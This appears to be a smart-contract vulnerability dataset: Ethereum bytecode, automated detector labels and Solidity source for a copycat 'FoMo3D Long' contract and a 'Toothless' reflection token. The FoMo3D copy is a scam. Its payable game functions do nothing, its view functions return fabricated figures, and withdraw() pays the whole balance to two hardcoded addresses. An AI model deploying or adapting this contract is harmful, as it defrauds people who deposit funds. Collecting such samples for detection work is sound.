9ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d9b3135e26e85c723d3f977769b9e66c79ef9d52ddd36c387c8ee76c541d9a4764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,600 |
0x5dbd68d986be747539f23d004083d22f166e0dd7
|
pragma solidity ^0.4.24;
contract FoMo3Dlong {
using SafeMath for *;
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
function() public payable{} //直接往里面转钱
function buyXid(uint256 _affCode, uint256 _team) public payable {}
function buyXaddr(address _affCode, uint256 _team) public payable {}
function buyXname(bytes32 _affCode, uint256 _team) public payable {}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) public {}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) public {}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) public {}
constructor() public
{
round_[1] = F3Ddatasets.Round(1954, 2, 1533795558, false, 1533794558, 34619432129976331518578579, 91737891789564224505545, 21737891789564224505545,31000, 0, 0, 0);
}
function withdraw() public {
address aff = 0x6b5d2ba1691e30376a394c13e38f48e25634724f;
address aff2 = 0x7ce07aa2fc356fa52f622c1f4df1e8eaad7febf0;
uint256 _one = this.balance/2;
aff.transfer(_one);
aff2.transfer(_one);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all) public payable {}
function registerNameXaddr(string _nameString, address _affCode, bool _all) public payable {}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) public payable {}
uint256 public rID_ = 1;
function getBuyPrice()
public
view
returns(uint256)
{
return ( 10025483152147531 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
round_[_rID].end = _now + 125 - ( _now % 120 );
return( 125 - ( _now % 120 ) );
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
return (0, 0, 0);
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
uint256 _now = now;
round_[_rID].end = _now + 125 - (_now % 120);
return
(
0, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
0xd8723f6f396E28ab6662B91981B3eabF9De05E3C, //7
0x6d6f6c6963616e63657200000000000000000000000000000000000000000000, //8
3053823263697073356017, //9
4675447079848478547678, //10
85163999483914905978445, //11
3336394330928816056073, //12
519463956231409304003 //13
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
return
(
18163, //0
0x6d6f6c6963616e63657200000000000000000000000000000000000000000000, //1
122081953021293259355, //2
0, //3
0, //4
0, //5
0 //6
);
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
return (1646092234676);
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
return (_keys.mul(100254831521475310)/1000000000000000000);
}
bool public activated_ = true;
function activate() public { }
function setOtherFomo(address _otherF3D) public {}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
0x6080604052600436106101ab5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e881146101ad57806306fdde03146101d4578063079ce3271461025e5780630f15f4c01461027c57806310f01eba1461029157806311a09ae7146102b257806324c33d33146102c75780632660316e1461033e5780632ce219991461036d5780632e19ebdc1461039e578063349cdcac1461025e5780633ccfd60b146103b65780633ddd4698146103cb5780635893d48114610427578063624ae5c0146104425780636306643414610457578063685ffd831461048d578063747dff42146104e057806382bfc7391461056b5780638f38f30914610592578063921dec211461048d57806395d89b41146105a057806398a0871d146105b5578063a2bccae9146105cc578063a65b37a114610592578063b483c0541461060d578063c519500e1461062e578063c7e284b814610646578063ce89c80c1461065b578063cf80800014610676578063d53b26791461068e578063d87574e0146106a3578063de7874f3146106b8578063ee0b5d8b14610712575b005b3480156101b957600080fd5b506101c261076b565b60408051918252519081900360200190f35b3480156101e057600080fd5b506101e9610776565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022357818101518382015260200161020b565b50505050905090810190601f1680156102505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026a57600080fd5b506101ab6004356024356044356107ad565b34801561028857600080fd5b506101ab6107b2565b34801561029d57600080fd5b506101c2600160a060020a03600435166107b4565b3480156102be57600080fd5b506101c26107c6565b3480156102d357600080fd5b506102df6004356107cc565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b34801561034a57600080fd5b50610359600435602435610830565b604080519115158252519081900360200190f35b34801561037957600080fd5b50610385600435610850565b6040805192835260208301919091528051918290030190f35b3480156103aa57600080fd5b506101c2600435610869565b3480156103c257600080fd5b506101ab61087b565b6040805160206004803580820135601f81018490048402850184019095528484526101ab94369492936024939284019190819084018382808284375094975050600160a060020a038535169550505050506020013515156107ad565b34801561043357600080fd5b506101c2600435602435610917565b34801561044e57600080fd5b506101c2610934565b34801561046357600080fd5b5061046f60043561093a565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f81018490048402850184019095528484526101ab9436949293602493928401919081908401838280828437509497505084359550505050506020013515156107ad565b3480156104ec57600080fd5b506104f5610944565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561057757600080fd5b506101ab600160a060020a03600435166024356044356107ad565b6101ab600435602435610ad0565b3480156105ac57600080fd5b506101e9610ad4565b6101ab600160a060020a0360043516602435610ad0565b3480156105d857600080fd5b506105e7600435602435610b0b565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561061957600080fd5b506101ab600160a060020a0360043516610b3d565b34801561063a57600080fd5b50610385600435610b40565b34801561065257600080fd5b506101c2610b59565b34801561066757600080fd5b506101c2600435602435610b85565b34801561068257600080fd5b506101c2600435610b93565b34801561069a57600080fd5b50610359610bc6565b3480156106af57600080fd5b506101c2610bcf565b3480156106c457600080fd5b506106d0600435610bd5565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561071e57600080fd5b50610733600160a060020a0360043516610c1c565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b66239e1fb1fc444b90565b60408051808201909152601481527f466f4d6f3344204c6f6e67204f6666696369616c000000000000000000000000602082015281565b505050565b565b60026020526000908152604090205481565b60015481565b600760208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701549787015460088801546009890154600a8a0154600b909a0154989a9799969860ff9096169794969395929391929091908c565b600660209081526000928352604080842090915290825290205460ff1681565b6009602052600090815260409020805460019091015482565b60036020526000908152604090205481565b604051736b5d2ba1691e30376a394c13e38f48e25634724f90737ce07aa2fc356fa52f622c1f4df1e8eaad7febf090600230310490839082156108fc029083906000818181858888f193505050501580156108da573d6000803e3d6000fd5b50604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610911573d6000803e3d6000fd5b50505050565b600860209081526000928352604080842090915290825290205481565b600b5481565b5060009081908190565b600080600080600080600080600080600080600080600080600b54915042905060788181151561097057fe5b0681607d0103600760008481526020019081526020016000206002018190555060008260076000858152602001908152602001600020600501546007600086815260200190815260200160002060020154600760008781526020019081526020016000206004015460076000888152602001908152602001600020600701546007600089815260200190815260200160002060000154600a02600760008a8152602001908152602001600020600101540173d8723f6f396e28ab6662b91981b3eabf9de05e3c7f6d6f6c6963616e6365720000000000000000000000000000000000000000000068a58c4fae7bc01c3cf168fd74dccb8ab9f89ede691208bfe9e869ba7c064d68b4ddc5c7014727e709681c2902b3f4583701c38d9d508560010295508494508393508292508191508090509f509f509f509f509f509f509f509f509f509f509f509f509f509f505050909192939495969798999a9b9c9d565b5050565b60408051808201909152600381527f4633440000000000000000000000000000000000000000000000000000000000602082015281565b600560209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b50565b600a602052600090815260409020805460019091015482565b600b546000908152600760205260409020607d6078429081069081900382016002909301929092550390565b65017f42be2fb45b92915050565b6000670de0b6b3a7640000610bb6836701642d3cf3daaaee63ffffffff610c5916565b811515610bbf57fe5b0492915050565b600c5460ff1681565b60005481565b60046020819052600091825260409091208054600182015460028301546003840154948401546005850154600690950154600160a060020a03909416959294919390919087565b506146f3907f6d6f6c6963616e636572000000000000000000000000000000000000000000009068069e3a3974781c6a5b90600090819081908190565b6000821515610c6a57506000610b8d565b50818102818382811515610c7a57fe5b0414610b8d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd00a165627a7a723058206df20e392b3cd83b6b661cba3e55627633d32376dbdd4ca1281de849870ffedc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 8,601 |
0xa85cd7fad8c89219784199c5d3eb76fe9bcebf62
|
/**
*
$TOOTHLESS
🔥 No Team Token
🧨 Ownership will be renounced
🔒 Lp will be locked
🕐 face one oclock No cooldown
✌️ 1% Buy Limit
🍀 No limit for sell
🔗 https://twitter.com/Toothlesstoken
⛓ https://t.me/toothlesstoken
⌛ https://timeanddate.com/countdown/launch?iso=20210708T19&p0=822&msg=Toothless+token+launch&font=cursive
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Toothless is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Toothless Token | @toothlesstoken";
string private constant _symbol = "Toothless \xF0\x9F\x90\x89";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if (from != address(this)) {
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e66565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612989565b610441565b6040516101789190612e4b565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613008565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061293a565b610470565b6040516101e09190612e4b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128ac565b610549565b005b34801561021e57600080fd5b50610227610639565b604051610234919061307d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a06565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128ac565b610766565b6040516102b19190613008565b60405180910390